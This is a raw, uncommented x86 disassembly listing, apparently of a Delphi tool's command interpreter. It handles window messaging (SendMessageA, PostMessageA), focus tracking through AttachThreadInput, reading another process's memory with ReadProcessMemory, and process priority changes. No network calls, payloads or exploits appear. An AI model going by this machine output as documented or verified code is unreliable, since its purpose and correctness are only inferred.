mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xeac]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xea8]
lea eax, [ebp - 0x144]
call fcn.00405070
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x1c]
call fcn.00404fd8
mov eax, dword [ebp - 0xc0]
sub eax, 0xe0
je 0x54ecd8
dec eax
je 0x54ed34
jmp 0x54ee98
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54ee98
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0x14]
movzx eax, byte [eax + edx - 1]
lea ecx, [ebp - 0xeb0]
mov edx, 2
call fcn.0040b690
mov edx, dword [ebp - 0xeb0]
lea eax, [ebp - 0x1c]
call fcn.004052a0
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a4]
jne 0x54ecf8
jmp 0x54ee98
push dword [ebp - 0x1c]
push 0x553bac
push 0x553bb8
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea eax, [ebp - 0x4c]
call fcn.00404fd8
mov eax, dword [ebp - 0x144]
call fcn.00405298
test eax, eax
jle 0x54ee70
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0xd
je 0x54ed96
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0xa
jne 0x54eda5
lea eax, [ebp - 0x4c]
mov edx, 0x553b70
call fcn.004052a0
jmp 0x54edcb
lea eax, [ebp - 0xeb4]
mov edx, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x14]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0xeb4]
lea eax, [ebp - 0x4c]
call fcn.004052a0
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0x14]
movzx eax, byte [eax + edx - 1]
lea ecx, [ebp - 0xeb8]
mov edx, 2
call fcn.0040b690
mov edx, dword [ebp - 0xeb8]
lea eax, [ebp - 0x1c]
call fcn.004052a0
mov eax, dword [ebp - 0x14]
and eax, 0x80000007
jns 0x54ee06
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x54ee24
lea eax, [ebp - 0x1c]
mov edx, 0x553b7c
call fcn.004052a0
lea eax, [ebp - 0x4c]
mov edx, 0x553b7c
call fcn.004052a0
mov eax, dword [ebp - 0x14]
and eax, 0x8000000f
jns 0x54ee33
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x54ee61
push dword [ebp - 0x1c]
push 0x553bc4
push dword [ebp - 0x4c]
push 0x553bac
push 0x553bb8
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00405358
lea eax, [ebp - 0x4c]
call fcn.00404fd8
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a4]
jne 0x54ed76
cmp dword [ebp - 0x4c], 0
je 0x54ee98
push dword [ebp - 0x1c]
push 0x553bc4
push dword [ebp - 0x4c]
push 0x553bac
push 0x553bb8
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x54eec3
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54eeff
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54eefc
mov bl, 1
jmp 0x54ef47
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54ef47
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54eeeb
test bl, bl
je 0x54f1a1
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
lea eax, [ebp - 0xebc]
push eax
lea eax, [ebp - 0xec0]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xec0]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xebc]
lea eax, [ebp - 0x144]
call fcn.00405070
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x158]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x15c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x160]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
cmp dword [ebp - 0xc0], 0xe2
jne 0x54f03e
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x15c]
call fcn.0040b73c
test al, al
jne 0x54f0a9
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
mov dword [ebp - 0x14], eax
jmp 0x54f0a9
xor eax, eax
push ebp
push 0x54f06d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x15c]
call fcn.0040b75c
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54f08b
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x160]
call fcn.0040b73c
test al, al
jne 0x54f0a9
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x7d00
jle 0x54f0bf
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0xc0]
sub eax, 0xe2
je 0x54f0d7
dec eax
je 0x54f109
dec eax
je 0x54f147
jmp 0x54f183
lea edx, [ebp - 0xec4]
mov eax, dword [ebp - 0x158]
call fcn.0040b05c
mov edx, dword [ebp - 0xec4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
mov ecx, dword [ebp - 0x14]
call fcn.0052e854
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x54f183
push dword [ebp - 0x274]
push dword [ebp - 0x278]
lea edx, [ebp - 0xec8]
mov eax, dword [ebp - 0x158]
call fcn.0040b05c
mov edx, dword [ebp - 0xec8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
mov ecx, dword [ebp - 0x14]
call fcn.0052e954
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x54f183
push dword [ebp - 0x274]
push dword [ebp - 0x278]
lea edx, [ebp - 0xecc]
mov eax, dword [ebp - 0x158]
call fcn.0040b05c
mov edx, dword [ebp - 0xecc]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
mov ecx, dword [ebp - 0x14]
call fcn.0052ea5c
lea edx, [ebp - 0x1c]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54f1ed
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54f1ea
mov bl, 1
jmp 0x54f235
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54f235
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54f1d9
test bl, bl
je 0x54f3a3
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x4c]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, 0x25
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.004063e0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x54f30f
mov eax, dword [ebp - 0x28]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov eax, dword [eax]
call fcn.004063e0
mov dword [ebp - 0x84], eax
jmp 0x54f317
xor eax, eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x28]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x48]
lea eax, [edx + eax*4]
lea edx, [ebp - 0xed0]
call fcn.0040b57c
push dword [ebp - 0xed0]
push 0x553b7c
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xed4]
call fcn.0040b668
push dword [ebp - 0xed4]
push 0x553b7c
mov eax, dword [ebp - 0x84]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xed8]
call fcn.0040b668
push dword [ebp - 0xed8]
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54f3ef
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54f3ec
mov bl, 1
jmp 0x54f437
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54f437
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54f3db
test bl, bl
je 0x54f61d
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
lea eax, [ebp - 0xedc]
push eax
lea eax, [ebp - 0xee0]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xee0]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xedc]
lea eax, [ebp - 0x144]
call fcn.00405070
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0x158]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x15c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x160]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea eax, [ebp - 0x164]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x158]
call fcn.0040b73c
test al, al
jne 0x54f53a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c4]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x15c]
call fcn.0040b73c
test al, al
jne 0x54f551
xor eax, eax
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x224]
mov eax, dword [ebp - 0x160]
call fcn.0040b73c
test al, al
jne 0x54f56e
xor eax, eax
mov dword [ebp - 0x224], eax
lea edx, [ebp - 0x228]
mov eax, dword [ebp - 0x164]
call fcn.0040b73c
test al, al
jne 0x54f58b
xor eax, eax
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0xc0]
sub eax, 0xf4
je 0x54f59d
dec eax
je 0x54f5d2
jmp 0x54f5ff
mov eax, dword [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x224]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_SendMessageA
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp 0x54f5ff
mov eax, dword [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x224]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_PostMessageA
cmp eax, 1
sbb ebx, ebx
inc ebx
lea edx, [ebp - 0x1c]
xor eax, eax
mov al, bl
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
call sub.user32.dll_GetForegroundWindow
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x54f6bd
call sub.KERNEL32.DLL_GetCurrentThreadId
mov dword [ebp - 0x84], eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov dword [ebp - 0x118], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x118]
jne 0x54f687
call sub.user32.dll_GetFocus
mov dword [ebp - 0x10], eax
jmp 0x54f6bd
push 0xffffffffffffffff
mov eax, dword [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x84]
push eax
call sub.user32.dll_AttachThreadInput
test eax, eax
je 0x54f6bd
call sub.user32.dll_GetFocus
mov dword [ebp - 0x10], eax
push 0
mov eax, dword [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x84]
push eax
call sub.user32.dll_AttachThreadInput
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x65d]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x54f9e1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590490]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
add dword [ebp - 0x10], 0x11c
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
mov eax, dword [ebp - 0xc0]
sub eax, 0x112
je 0x54f82d
dec eax
je 0x54f77f
dec eax
je 0x54f7d6
jmp 0x54f9e1
mov eax, dword [ebp - 0x10]
add eax, 0x30
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
mov eax, dword [ebp - 0x118]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x144]
call fcn.0040b668
jmp 0x54f9e1
mov eax, dword [ebp - 0x10]
add eax, 0x34
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
mov eax, dword [ebp - 0x118]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x144]
call fcn.0040b668
jmp 0x54f9e1
mov eax, dword [ebp - 0x10]
add eax, 0x88
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x8c]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
lea eax, [ebp - 0x144]
call fcn.00404fd8
cmp dword [ebp - 0x8c], 0
je 0x54f9e1
lea eax, [ebp - 0x84]
push eax
push 0xb4
mov eax, dword [ebp - 0x18]
add eax, 0x105d50
push eax
mov eax, dword [ebp - 0x8c]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 0xb4
setne al
or al, byte [ebp - 0xc1]
mov byte [ebp - 0xc1], al
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105d50], 0
je 0x54f9e1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105dd0]
cmp eax, dword [ebp - 0x10]
je 0x54f8f4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105dd8]
mov dword [ebp - 0x8c], eax
jmp 0x54f877
push dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105dcc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xee4]
call fcn.0040b668
push dword [ebp - 0xee4]
push 0x5539c8
lea edx, [ebp - 0xee8]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0x105d8c]
call fcn.0040b57c
push dword [ebp - 0xee8]
push 0x5539c8
lea edx, [ebp - 0xeec]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0x105d90]
call fcn.0040b57c
push dword [ebp - 0xeec]
push 0x5539c8
lea edx, [ebp - 0xef0]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0x105d92]
call fcn.0040b57c
push dword [ebp - 0xef0]
push 0x5539c8
lea edx, [ebp - 0xef4]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0x105d74]
call fcn.0040b57c
push dword [ebp - 0xef4]
push 0x5539c8
lea edx, [ebp - 0xef8]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0x105d76]
call fcn.0040b57c
push dword [ebp - 0xef8]
push 0x5539d4
lea eax, [ebp - 0x144]
mov edx, 0xd
call fcn.00405358
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105d98]
mov dword [ebp - 0x8c], eax
jmp 0x54f877
cmp byte [ebp - 0xc1], 0
je 0x54f9f7
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp 0x54fa13
mov eax, dword [ebp - 0xc0]
mov byte [ebp + eax - 0x76f], 1
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x144]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x78]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x7c]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54fab2
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54faaf
mov bl, 1
jmp 0x54fafa
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54fafa
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54fa9e
test bl, bl
je 0x54fe2a
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xefc]
push eax
lea eax, [ebp - 0xf00]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xf00]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xefc]
lea eax, [ebp - 0x144]
call fcn.00405070
mov eax, dword [ebp - 0xc0]
sub eax, 0x119
je 0x54fb93
dec eax
je 0x54fce1
jmp 0x54fde9
lea eax, [ebp - 0xf04]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xf04]
push eax
call sub.KERNEL32.DLL_GetCurrentProcess
mov edx, eax
pop eax
call fcn.0040b724
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x8c], 0x2710
jbe 0x54fbe9
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x8c]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
push 0x638
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0xf08]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xf08]
xor edx, edx
call fcn.0040b724
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
add eax, 2
cmp eax, 5
ja case.0x54fc34.0
jmp dword [eax*4 + 0x54fc3b]
mov dword [ebp - 0x118], 0x40
jmp 0x54fc99
mov dword [ebp - 0x118], 0x4000
jmp 0x54fc99
mov dword [ebp - 0x118], 0x8000
jmp 0x54fc99
mov dword [ebp - 0x118], 0x80
jmp 0x54fc99
mov dword [ebp - 0x118], pe_nt_image_headers32
jmp 0x54fc99
mov dword [ebp - 0x118], 0x20
mov eax, dword [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x8c]
push eax
call sub.KERNEL32.DLL_SetPriorityClass
test eax, eax
je 0x54fcbf
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp 0x54fcd0
call sub.KERNEL32.DLL_GetLastError
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
mov eax, dword [ebp - 0x8c]
push eax
call sub.KERNEL32.DLL_CloseHandle
jmp 0x54fde9
call sub.KERNEL32.DLL_GetCurrentProcess
mov edx, eax
mov eax, dword [ebp - 0x144]
call fcn.0040b724
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x8c], 0x2710
jbe 0x54fd1e
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x8c]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
push 0x638
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
push eax
call sub.KERNEL32.DLL_GetPriorityClass
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
cmp eax, 0x100
jg 0x54fd66
je 0x54fdc1
sub eax, 0x20
je 0x54fd94
sub eax, 0x20
je 0x54fd76
sub eax, 0x40
je 0x54fdb2
jmp 0x54fdd0
sub eax, 0x4000
je 0x54fd85
sub eax, 0x4000
je 0x54fda3
jmp 0x54fdd0
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
jmp 0x54fddd
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp 0x54fddd
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp 0x54fddd
